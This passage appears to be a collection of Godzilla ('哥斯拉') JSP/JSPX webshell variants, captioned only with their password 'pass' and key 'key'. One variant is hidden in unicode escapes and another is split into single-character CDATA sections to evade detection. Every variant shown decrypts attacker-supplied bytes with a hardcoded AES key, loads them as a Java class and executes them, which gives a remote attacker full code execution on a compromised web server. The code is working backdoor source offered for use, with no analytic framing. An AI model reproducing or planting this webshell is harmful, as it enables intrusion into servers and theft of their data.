\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"decodeBuffer"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"parameters"\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%>
Html 哥斯拉
哥斯拉,密码 pass,密钥 key
<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}</jsp:scriptlet></jsp:root>
CDATA 哥斯拉
哥斯拉,密码 pass,密钥 key
<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[c]]><![CDATA[=]]><![CDATA["]]><![CDATA[3]]><![CDATA[c]]><![CDATA[6]]><![CDATA[e]]><![CDATA[0]]><![CDATA[b]]><![CDATA[8]]><![CDATA[a]]><![CDATA[9]]><![CDATA[c]]><![CDATA[1]]><![CDATA[5]]><![CDATA[2]]><![CDATA[2]]><![CDATA[4]]><![CDATA[a]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[=]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[=]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[+]]><![CDATA[x]]><![CDATA[c]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[e]]><![CDATA[n]]><![CDATA[d]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[{]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[z]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[z]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[d]]><![CDATA[e]]><![CDATA[f]]><![CDATA[i]]><![CDATA[n]]><![CDATA[e]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[c]]><![CDATA[b]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[,]]><![CDATA[b]]><![CDATA[o]]><![CDATA[o]]><![CDATA[l]]><![CDATA[e]]><![CDATA[a]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[)]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[=]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[c]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[i]]><![CDATA[t]]><![CDATA[(]]><![CDATA[m]]><![CDATA[?]]><![CDATA[1]]><![CDATA[:]]><![CDATA[2]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[s]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[.]]><![CDATA[S]]><![CDATA[e]]><![CDATA[c]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[K]]><![CDATA[e]]><![CDATA[y]]><![CDATA[S]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[(]]><![CDATA[x]]><![CDATA[c]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[.]]><![CDATA[d]]><![CDATA[o]]><![CDATA[F]]><![CDATA[i]]><![CDATA[n]]><![CDATA[a]]><![CDATA[l]]><![CDATA[(]]><![CDATA[s]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[;]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[M]]><![CDATA[D]]><![CDATA[5]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[m]]><![CDATA[.]]><![CDATA[u]]><![CDATA[p]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[m]]><![CDATA[a]]><![CDATA[t]]><![CDATA[h]]><![CDATA[.]]><![CDATA[B]]><![CDATA[i]]><![CDATA[g]]><![CDATA[I]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[g]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[1]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[.]]><![CDATA[d]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[U]]><![CDATA[p]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[C]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[T]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ 